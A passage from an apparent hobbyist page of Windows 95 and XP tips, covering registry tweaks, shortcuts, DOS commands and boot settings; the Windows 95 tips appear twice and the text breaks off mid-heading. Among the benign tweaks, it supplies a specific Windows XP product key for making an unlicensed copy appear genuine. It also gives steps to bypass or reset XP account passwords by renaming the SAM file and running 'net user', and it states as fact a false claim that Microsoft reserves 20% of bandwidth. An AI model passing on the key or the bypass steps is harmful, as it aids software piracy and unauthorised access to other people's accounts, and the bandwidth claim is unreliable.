3. Select Send to and the name you just created
4. You them have the option of copying or moving the file to a folder of your choice
To add Mail:
1. Open the Explorer
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .MapiMail extension (ignore any warnings about the file extension)
When you want to Mail files as attachments:
1. Select the files with Explorer.
2. Right Click.
3. Select Send to and the Mail name you just created.
4. This allows you to easily mail multiple files.
Ya Say ya Don't like Desktop Icons
How to Remove the InBox and Recycle Bin Icons from the Desktop
To remove the InBox from your desktop, without needing to run the Policy Editor:
1. Start Regedit
2. Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ explorer \ Desktop \ NameSpace
3. Below that should be a few keys
4. Rename the key {00020D75-0000-0000-C000-000000000046}. I usually put another character before or after the curly braces.
5. Restart Windows and the InBox icon should be gone
6. You can do the same for any other items you don't to show such as the Recycle Bin or The Internet icons
Add The Device Manager To Your Desktop
This Is Really Cool
This allows you to quickly see all the devices attached to your computer.
This way you do not need to restart the computer. To add the Device Manager Icon:
1. Right click on an open area of your desktop.
2. Select New / Shortcut.
3. Type in C:\WINDOWS\CONTROL SYSDM.CPL, SYSTEM, 1.
4. Replace C:\WINDOWS with whatever directory you installed Windows95.
5. Click on the Next box.
6. At the next dialog box type in Device Manager.
7. Click on the Finish when you are done.
Note: Replacing the 1 with a 3 will bring up the Performance Status.
Get To Your Desktop Fast And Easy
How To get to your Desktop when you have a lot of apps open!
1. Open a browser window (double-click on "My Computer")
2. If there is no toolbar, select View from the menu and select Toolbar.
3. Then from the dropdown list-box in the toolbar select desktop.
4. Now minimize it and forget about it.
5. To access your desktop just click the desktop window on the taskbar.
6. As long as you don't close the window when you shutdown, it will reopen when you start windows again.
Better yet: You can drag the Desktop folder to the start menu.
Then you just press Ctrl-ESC and click on Desktop, or type D. Bingo!
Ya Say Ya Don't Like Window Animation
You can shut off the animation displayed when you minimize and maximize windows. This makes navigating Windows 95 a little faster. Besides it make me rock in my seat.
1. Open Regedit
2. HKEY_CURRENT_USER
3. Control panel
4. Desktop
5. WindowMetrics
6. Right Mouse Click an empty space in the right pane.
7. Select new/string value.
8. Name the new value MinAnimate.
9. Doubleclick on the new string value (MinAnimate) and click on "Modify"
10. Enter a value of 0 for Off or 1 for On then hit
11. Close Regedit and all programs then reboot.
DOS TIPS AND TRICKS
See Free Memory, File Sizes and More Useful Details
1. Open a DOS box
2. Go to the directory that you want to get specific info about, or if you just want to see memory info go to any directory (I use the root).
3. Type DIR /V
4. The /v argument stands for "verbose".
5. All sorts of good information comes up.
OR, Copy this cute little Batch File in notepad and "Save As" DV.BAT
@ECHO OFF
DIR /V/P
Configuring the Start and Programs Menus
The items that appear on the Start and Programs menus are arranged alphabetically. To specify a different order, rename menu items to include a number as their first character. Renaming menu items in this way also enables users to start an application by pressing the number at the beginning of the application’s name.
To specify the order in which items on the Start or Programs menu appear
1. Right-click the Start button, and then click Open.
2. To specify the order of items at the top of the Start menu, skip to step 3.
To specify the order of items on the Programs menu, double-click the Applications folder.
To specify the order of items on a submenu of the Programs menu, double-click the Applications folder, and then double-click the folder that corresponds to the submenu.
3. Right-click the item that you want to appear first on the menu, and then click Rename.
4. Press HOME, type the number 1 followed by a space, and then press ENTER.
5. Repeat steps 3 and 4 using consecutive numbers until all the menu items that you want to arrange in a different order have been numbered.
For information about the following topics, see online Help:
Adding an application to the Start or Programs menu
Adding new submenus (or folders) to the Programs menu
Rearranging items on the Programs menu
Note Windows 95 adds your most recently used documents to the Documents menu or the Start menu. When you open a file in a Win32-based application, Windows 95 adds the data file to the Documents menu. Windows 95 does not add files to this list that were opened in a Win16-based application. However, if you double-click a document in Windows Explorer or My Computer, Windows 95 does add it to the list.
Quick Start Menu Access
By default, Windows 95 orders all the items in the top portion of your Start menu (above Programs) alphabetically: pop-out folders first, then shortcuts. But this order isn't written in stone. You can specify any order you want by renaming these items with a number at the beginning of each.
Right-mouse-click the Start button and select Open. Inside, select the item you want to appear at the top of the Start menu, press F2 for Rename, then place the cursor at the beginning of the name and type the number 1. Press Enter to keep the change. Place a 2 in front of the item you want to appear next in the list, and so on.
Close the Start Menu window, click Start, and admire your reorganization.
Tip: Now you can open any custom Start menu item by pressing Ctrl-Esc and then typing the number at the beginning of that item's name. Previously, if multiple Start menu items started with the same letter, there was no way to select them using the keyboard.)
View Multi- Drive Properties at Once
Here's an easy way to view the properties for multiple hard drives simultaneously. Open My Computer and select all your hard drives by holding down Ctrl and clicking on each drive in turn. Next, right-click on any of the drives and choose Properties. Windows creates a single dialog box with Properties tabs for each drive. This also works for floppy disk, removable and mapped network drives.
The Logo.sys Mystery!!
Why do some Windows 95 computers have a LOGO.SYS file in the root directory and others do not? Background: The LOGO.SYS file is a bitmap that displays the boot-up screen when you launch Win95. If you can’t find LOGO.SYS on your system, then you probably don’t have one. Without the file, Windows loads the opening logo screen from the IO.SYS file. If you want to change the file, simple create a bitmap image (it can’t be larger than 256 Color and 320 x 400---Windows stretches it to 640x480 for display, which is why the startup screen looks so bad) and drop it in the root directory.
Create Shortcuts to any Control Panel Item
You can make a shortcut to any item in your Control Panel. In fact you can make a shortcut for all of them and put them all in a Desktop folder.
Here's an example for creating a shortcut to the Device Manager:
1. Right-click on the Desktop and choose New/Shortcut
2. Type C:\WINDOWS\CONTROL.EXE SYSDM.CPL in the Command Line box and click on Next.
3. Name it Device Manager (or another name of your choice), then click on the Finish button. Assign a new icon to the shortcut as you would any other.
Use Notepad As a Word Processor
Here's a little ditty that may help those who don't want a formal word processor, but do what to save their page setup settings.
Here's the problem: Someone wanted to print a document from Notepad without the Page Header and Footer. Their document was running over into two pages and they wanted to keep it to one. Since they will be running this document regularly, going into Page Setup every time they wanted to print would be time-consuming. The Knowledge Base article Q64269 advises that you can't change the Default Page Setup. Here is the workaround I found.
Error
If you choose Page Setup from the File menu in Notepad, the settings are not saved when the file is saved. Example: you want to remove the header and footer from all notepad documents you print. When you go into page setup and remove the default header and footer, then exit notepad and re-start notepad, the header and footer re-appear.
Reason
ACCORDING TO MICROSOFT:
All accessory applications use a flat-file format and the formatting information is not saved with the file; therefore, it is not shown with its last settings when the file is opened.
Here is a work around.
Shut down all instances of notepad.exe (this will not work if notepad is not shut down).
Run Registry Editor (at your own risk), and find
HKEY_CURRENT_USER\Software\Microsoft\Notepad\ . Change the key/value "fSavePageSettings" from 0 to 1.
Run Notepad and make your changes in the Page Setup screen. Exit Notepad.
Windows Logon Box; Wanna Rename It
Run regedit and go to HKEY_Local_Machine\Software\Microsoft \Windows\CurrentVersion\Winlogon
Then add or change the key:
LegalNoticeCaption REG_SZ="(Title for Box)"
And the same for this key:
LegalNoticeText REG_SZ="(Message to be displayed in the box)"
Wanna Move Your Start Button.
How to move or close the start button!
1. Click on the Start button.
2. Press the Esc key.
3. Press the Alt and the - or dash keys at the same time.
4. This will give you a menu, you can move or close.
5. But if you move it you need to use the arrow keys and not the mouse.
6. When you get it where you want it, push the Enter button.
KEEP THINGS RIGHT
Aligning Drop-Down Menus to the Right
All dropdown menus can be aligned to the right.
This features becomes useful when trying to access menus with submenus that appear directly to the right.
1. Open the Registory editor (e.g. regedit.exe)
2. Goto \\HKEY_CURRENT_USER\Control Panel\Desktop
3. Create a string entry called "MenuDropAlignment"
4. Set its value to 1
5. Reboot
Adding AnyFolder and Mail to SendTo
Previous examples of adding items to the SendTo usually require editing the Registry. An easy way around this is to use the following methods.
To add ANYFOLDER:
1. Open the Explorer.
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .otherfolder extension.
When you want to send files to another folder:
1. Select the files with Explorer.
2. Right Click
3. Select Send to and the name you just created
4. You them have the option of copying or moving the file to a folder of your choice
To add Mail:
1. Open the Explorer
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .MapiMail extension (ignore any warnings about the file extension)
When you want to Mail files as attachments:
1. Select the files with Explorer.
2. Right Click.
3. Select Send to and the Mail name you just created.
4. This allows you to easily mail multiple files.
Ya Say ya Don't like Desktop Icons
How to Remove the InBox and Recycle Bin Icons from the Desktop
To remove the InBox from your desktop, without needing to run the Policy Editor:
1. Start Regedit
2. Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ explorer \ Desktop \ NameSpace
3. Below that should be a few keys
4. Rename the key {00020D75-0000-0000-C000-000000000046}. I usually put another character before or after the curly braces.
5. Restart Windows and the InBox icon should be gone
6. You can do the same for any other items you don't to show such as the Recycle Bin or The Internet icons
Add The Device Manager To Your Desktop
This Is Really Cool
This allows you to quickly see all the devices attached to your computer.
This way you do not need to restart the computer. To add the Device Manager Icon:
1. Right click on an open area of your desktop.
2. Select New / Shortcut.
3. Type in C:\WINDOWS\CONTROL SYSDM.CPL, SYSTEM, 1.
4. Replace C:\WINDOWS with whatever directory you installed Windows95.
5. Click on the Next box.
6. At the next dialog box type in Device Manager.
7. Click on the Finish when you are done.
Note: Replacing the 1 with a 3 will bring up the Performance Status.
Get To Your Desktop Fast And Easy
How To get to your Desktop when you have a lot of apps open!
1. Open a browser window (double-click on "My Computer")
2. If there is no toolbar, select View from the menu and select Toolbar.
3. Then from the dropdown list-box in the toolbar select desktop.
4. Now minimize it and forget about it.
5. To access your desktop just click the desktop window on the taskbar.
6. As long as you don't close the window when you shutdown, it will reopen when you start windows again.
Better yet: You can drag the Desktop folder to the start menu.
Then you just press Ctrl-ESC and click on Desktop, or type D. Bingo!
Ya Say Ya Don't Like Window Animation
You can shut off the animation displayed when you minimize and maximize windows. This makes navigating Windows 95 a little faster. Besides it make me rock in my seat.
1. Open Regedit
2. HKEY_CURRENT_USER
3. Control panel
4. Desktop
5. WindowMetrics
6. Right Mouse Click an empty space in the right pane.
7. Select new/string value.
8. Name the new value MinAnimate.
9. Doubleclick on the new string value (MinAnimate) and click on "Modify"
10. Enter a value of 0 for Off or 1 for On then hit
11. Close Regedit and all programs then reboot.
DOS TIPS AND TRICKS
See Free Memory, File Sizes and More Useful Details
1. Open a DOS box
2. Go to the directory that you want to get specific info about, or if you just want to see memory info go to any directory (I use the root).
3. Type DIR /V
4. The /v argument stands for "verbose".
5. All sorts of good information comes up.
OR, Copy this cute little Batch File in notepad and "Save As" DV.BAT
@ECHO OFF
DIR /V/P
Configuring the Start and Programs Menus
The items that appear on the Start and Programs menus are arranged alphabetically. To specify a different order, rename menu items to include a number as their first character. Renaming menu items in this way also enables users to start an application by pressing the number at the beginning of the application’s name.
To specify the order in which items on the Start or Programs menu appear
1. Right-click the Start button, and then click Open.
2. To specify the order of items at the top of the Start menu, skip to step 3.
To specify the order of items on the Programs menu, double-click the Applications folder.
To specify the order of items on a submenu of the Programs menu, double-click the Applications folder, and then double-click the folder that corresponds to the submenu.
3. Right-click the item that you want to appear first on the menu, and then click Rename.
4. Press HOME, type the number 1 followed by a space, and then press ENTER.
5. Repeat steps 3 and 4 using consecutive numbers until all the menu items that you want to arrange in a different order have been numbered.
For information about the following topics, see online Help:
Adding an application to the Start or Programs menu
Adding new submenus (or folders) to the Programs menu
Rearranging items on the Programs menu
Note Windows 95 adds your most recently used documents to the Documents menu or the Start menu. When you open a file in a Win32-based application, Windows 95 adds the data file to the Documents menu. Windows 95 does not add files to this list that were opened in a Win16-based application. However, if you double-click a document in Windows Explorer or My Computer, Windows 95 does add it to the list.
Quick Start Menu Access
By default, Windows 95 orders all the items in the top portion of your Start menu (above Programs) alphabetically: pop-out folders first, then shortcuts. But this order isn't written in stone. You can specify any order you want by renaming these items with a number at the beginning of each.
Right-mouse-click the Start button and select Open. Inside, select the item you want to appear at the top of the Start menu, press F2 for Rename, then place the cursor at the beginning of the name and type the number 1. Press Enter to keep the change. Place a 2 in front of the item you want to appear next in the list, and so on.
Close the Start Menu window, click Start, and admire your reorganization.
Tip: Now you can open any custom Start menu item by pressing Ctrl-Esc and then typing the number at the beginning of that item's name. Previously, if multiple Start menu items started with the same letter, there was no way to select them using the keyboard.)
View Multi- Drive Properties at Once
Here's an easy way to view the properties for multiple hard drives simultaneously. Open My Computer and select all your hard drives by holding down Ctrl and clicking on each drive in turn. Next, right-click on any of the drives and choose Properties. Windows creates a single dialog box with Properties tabs for each drive. This also works for floppy disk, removable and mapped network drives.
The Logo.sys Mystery!!
Why do some Windows 95 computers have a LOGO.SYS file in the root directory and others do not? Background: The LOGO.SYS file is a bitmap that displays the boot-up screen when you launch Win95. If you can’t find LOGO.SYS on your system, then you probably don’t have one. Without the file, Windows loads the opening logo screen from the IO.SYS file. If you want to change the file, simple create a bitmap image (it can’t be larger than 256 Color and 320 x 400---Windows stretches it to 640x480 for display, which is why the startup screen looks so bad) and drop it in the root directory.
Create Shortcuts to any Control Panel Item
You can make a shortcut to any item in your Control Panel. In fact you can make a shortcut for all of them and put them all in a Desktop folder.
Here's an example for creating a shortcut to the Device Manager:
1. Right-click on the Desktop and choose New/Shortcut
2. Type C:\WINDOWS\CONTROL.EXE SYSDM.CPL in the Command Line box and click on Next.
3. Name it Device Manager (or another name of your choice), then click on the Finish button. Assign a new icon to the shortcut as you would any other.
Use Notepad As a Word Processor
Here's a little ditty that may help those who don't want a formal word processor, but do what to save their page setup settings.
Here's the problem: Someone wanted to print a document from Notepad without the Page Header and Footer. Their document was running over into two pages and they wanted to keep it to one. Since they will be running this document regularly, going into Page Setup every time they wanted to print would be time-consuming. The Knowledge Base article Q64269 advises that you can't change the Default Page Setup. Here is the workaround I found.
Error
If you choose Page Setup from the File menu in Notepad, the settings are not saved when the file is saved. Example: you want to remove the header and footer from all notepad documents you print. When you go into page setup and remove the default header and footer, then exit notepad and re-start notepad, the header and footer re-appear.
Reason
ACCORDING TO MICROSOFT:
All accessory applications use a flat-file format and the formatting information is not saved with the file; therefore, it is not shown with its last settings when the file is opened.
Here is a work around.
Shut down all instances of notepad.exe (this will not work if notepad is not shut down).
Run Registry Editor (at your own risk), and find
HKEY_CURRENT_USER\Software\Microsoft\Notepad\ . Change the key/value "fSavePageSettings" from 0 to 1.
Run Notepad and make your changes in the Page Setup screen. Exit Notepad.
XP OR VISTA TRICKS
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Please Go Through All The Topics
INDEX:-
00)MAKING WINDOWS XP GENUINE THE EASY WAY
01)Creating a desktop shortcut for locking your computer
02)Deleting System Softwares
03)Creating Shutdown Icon or One Click Shutdown
04)Modify autoplay for different types of CD
05)Renaming The Recycle Bin icon
06)Locking the desktop
07)Removing Shared Documents folder From My Computer
08)Force windows XP to reboot upon crashing
09)Making Google the Default Search Engine in Interne
10)Increasing Band-Width By 20%:
11)Customize Logon prompt with your Own Words:
12)To change Drive Letters:
13)Removing the Shortcut arrow from Desktop Icons:
14)Hiding shared folders with $
15)Improving the Slow Boot up time:
16)Customize Internet Explorer's Title Bar:
17)Removing the Recycle Bin from the Desktop:
18)Adding Administrative Tools Icon To The Desktop:
19)Using advanced file security settings in Windows
20)Creating The Suspend Shortcut:
21)Disable the Disk performance counter(s)
22)Modify Color Selection of Default Theme
23)Removing Multiple Boot Screens
24)Extremely Fast BootUp
25)To Increase the Internet Speed:
26)Renaming The Start Button:
27)Disabling Unnecessary Programs At Startup:
28)To convert a FAT partition to NTFS:
29)Breaking The XP Password:
30)Automatically run programs when starting Windows
31)Hosting online games through the Windows XP firewall
32)Quick Back And Forward Commands In Ie Using Keyboard
33)Disabling Msn Messanger At Startup
34)Creating A Virus
35)How to Hide the drives(c:,d:,e:,a:...etc) in My Co
36)Create a password reset disk
37)Use system restore when you cannot boot your syste
38)Set monitor refresh rate
39)Automatically close non-responsive programs
MAKING WINDOWS XP GENUINE THE EASY WAY
download jellybean keyfinder from this website
http://www.magicaljellybean.com/keyfinder.shtml
Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
*****************************
V2C47-MK7JD-3R89F-D2KXW-VPK3J
*****************************
P.S: this works on windows xp sp2 only......
ppl u can try this out...
this might sound silly but it works perfectly..
Creating a desktop shortcut for locking your computer
If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:
Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'
You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.
In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.
it is usegul if u have an account as it will prompt 4 a password.
Deleting System Softwares
XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.
Creating Shutdown Icon or One Click Shutdown:
Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.
Use this path in "Type Location of the Item"
SHUTDOWN -s -t 01
If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.
Modify autoplay for different types of CD
Windows XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player.
To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.
Renaming The Recycle Bin icon:
To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:
HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don't type any quotes).
Locking the desktop
If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option.
By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.
Removing Shared Documents folder From My Computer
Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders
You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.
Force windows XP to reboot upon crashing
This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7:
Open REGEDIT
Navigate to 'HKEY_LOCAL_MACHINE\SYSTEM
\CurrentControlSet\Control\CrashControl'
Edit the 'AutoReboot' value to '1'
Increasing Band-Width By 20%:
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc
To get it back:
Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:
Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.
Customize Logon prompt with your Own Words:
Open Registry by going to Start then Run, entering regedit and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]. In right pane, look for key by the name "LogonPrompt". Set its value to whatever text you want to see displayed at login screen.
To change Drive Letters:
Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths."
From here you can add, remove or change drive letters and paths to the partition
Removing the Shortcut arrow from Desktop Icons:
Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.
Hiding shared folders with $
If you would like to share a folder so that users on your network can access it easily, but are worried about displaying the folder for anyone to browse through, there is an easy way to render a shared folder invisible but still accessible.
From the shared folder dialog: (right click on desired folder\sharing and security\). You can hide a shared folder by simply adding a '$' to the end of the name you give the folder in the 'sharing and security' window. In this way, you can maintain network access to shared folders, while hiding them from prying eyes.
To browse to a hidden shared folder from another computer, simply click 'start/run' then type \\(name of the computer the share is on)\(sharename$) and press enter.
Improving the Slow Boot up time:
There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time.
Customize Internet Explorer's Title Bar:
Open Registry by going to Start then Run and Enter regedit. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see.
Removing the Recycle Bin from the Desktop:
If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. Run Regedit and go to:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace
Adding Administrative Tools Icon To The Desktop:
Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears.
Using advanced file security settings in Windows
Windows XP is based on the same platform as Windows 2000, and shares that operating system's robust file security options, at least when using the NTFS file system. Unfortunately this security system, which enables an administrator to decide exactly which files and programs any given user will have access to, is not actually implemented by default in Windows XP. This is a concession Microsoft made to avoid confusing basic users of XP Pro, and to cripple XP Home.
The NTFS file security options can be enabled easily enough in XP Pro, but are apparently non-existent in the Home version. Fact is, the tools are there, you just need to look a little bit harder.
To enable NTFS file security in Windows XP Home: First you need to assure that at least your main hard drive is formatted with the NTFS file system. See tip #61 for instructions on this. Restart your system. Just after the memory and BIOS check screen, but before the Windows splash screen comes up, press F8 a few times.
When the Windows boot menu appears, select 'safe mode' from the list of options.
Once Windows has loaded in safe mode, right click the folders and files you would like to change access to. You will notice that the 'security' tab now exists, and thus you are allowed to assign or deny access to individual users for each file, folder and program. Once you are done, restart Windows normally, and your changes will be enforced.
Creating The Suspend Shortcut:
Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll, SetSuspendState . Give it whatever name you want. Now when you click on that shortcut, your computer will shutdown and suspend.
Disable the Disk performance counter(s)
Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users.
The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application.
To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N'
Alternate Method
Win XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].
Modify Color Selection of Default Theme:
Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeManager] and locate the key "ColorName".
Right Click on it and select modify its value from "NormalColor" to "Metallic"
Click Ok, and exit regedit and restart your computer.
Removing Multiple Boot Screens:
If you are getting unwanted multiple boot screen
Then Follow these Steps.
1> Right Click on My Computer
2>Select Properties
3>Select Advanced Tab
4>Select Settings In the Startup & Recovery Section(3rd grp)
5>Select the operating system which u want.
6>And Click OK.
7>Further again press the setting and click on Edit.
8>It will open boot.ini File.
9>Now u can delete those o/s which you don't want to be displayed.
Note: For deleting operating systems from boot.ini file, keep it mind that you can't
delete that o/s which is selected by default there. Before
making any changes make a copy of boot.ini file.
EXTREMELY FAST BOOTUP
The trick is Enabling Hibernation:
Go to diplay properties>screen savers>power>hibernate. Check 'Enable Hibernation'. Press shift button after you click 'Turn Off Computer' in start menu.
To Increase the Internet Speed:
Open Notepad and paste the below code in it.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"SackOpts"=dword:00000001
"TcpWindowSize"=dword:0005ae4c
"Tcp1323Opts"=dword:00000003
"DefaultTTL"=dword:00000040
"EnablePMTUBHDetect"=dword:00000000
"EnablePMTUDiscovery"=dword:00000001
"GlobalMaxTcpWindowSize"=dword:0005ae4c
Now save this file as speed.reg. Execute it and observe the change!
Renaming The Start Button:
To rename the start button, you will need a hex editor.
My preference is UltraEdit
Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe)
With the hex editor, open that file and go to offset 412b6
You will see the word start with blanks between each letter
Edit it be any 5 characters or less
Save the file
Boot to DOS
Copy the existing c:\windows\explorer.exe to explorer.org
Copy explorer_1.exe to explorer.exe
You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one.
Note: If the partition is NTFS and you can't access the files from DOS:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon.
Change the value of Shell from Explorer.exe to explorer_1.exe
Disabling Unnecessary Programs At Startup:
Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI Video setting etc. You can remove them in one of three main ways:
In the Start / Programs / Startup Folder
In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run
To convert a FAT partition to NTFS:
Click Start, click Programs, and then click Command Prompt.
In Windows XP, click Start, click Run, type cmd and then click OK.
At the command prompt, type CONVERT [driveletter]: /FS:NTFS.
Convert.exe will attempt to convert the partition to NTFS.
NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).
Breaking The XP Password:
In case of user password boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mj
Now XP wont ask for password next time You Login. Also
Go to the cmd prompt .
Type net user *.
It will list all the users.
Again type net user "administrator" or the name of the administrator "name" *.
e.g.: net user aaaaaa *(where aaaaaa is the name).
It will ask for the password.
Type the password and there you are done.
Logging In As Administrator:
Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator.
To unhide the Administrator account so it does show up:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
Unhide the Administrator key by giving it a value of 1
Automatically run programs when starting Windows
If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around.
Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up.
If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use.
Hosting online games through the Windows XP firewall
If you are using the Windows XP firewall and you wish to host an online game such as Quake 3, or other applications that require users on the Internet to contact your computer directly, you will need to customize your firewall slightly to allow these specific communications through. Fortunately the XP firewall makes these changes fairly easy to do.
To customize your firewall: Go to 'start\control panel\network connections'. Right click on the network connection that has the firewall enabled and go to 'properties.' Choose the 'settings' button at the bottom. On the 'services' tab, click the 'add' button.
This window will add the application that you are using to the firewall's list of data that is allowed into your computer.
You will need to find out the port that your application uses. This information should be available from the documentation or from the software manufacturer's website.
Input a description for your convenience, then the computer name or IP address of the computer that is hosting the program, then put the port number that the program uses. Note that as long as the program is running on the computer that uses the XP firewall, the internal and external port will be the same.
Click 'ok' to apply the rule. Your firewall will now allow connections through the port you specified.
Quick Back And Forward Commands In Ie Using Keyboard
HOLD THE SHIFT KEY AND SCROLL THE PAGES OF IE TO GO FORWARD AND BACKWARD.
Disabling Msn Messanger At Startup
To Disable Messenger MSN from running go to the start menu and select RUN. In the window that appears type regedit The Registry editor will now have opened. Navigate to the following Key:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft
Now create a new key by selecting Edit from the main menu bar. Now select New then Key.
Name this new Key: Messenger
Now select the newly created Messenger Key and create another new Key. Only this time we are going to name it: Client
Next we have to create a DWORD value. So Right Click the new Client Key and select New then DWORD.
Name the DWORD PreventRun
Now we need to give it a Data Value of 1
Now restart Windows XP and you will have successfully Disabled Messenger MSN
alternate method of disabling windows messenger
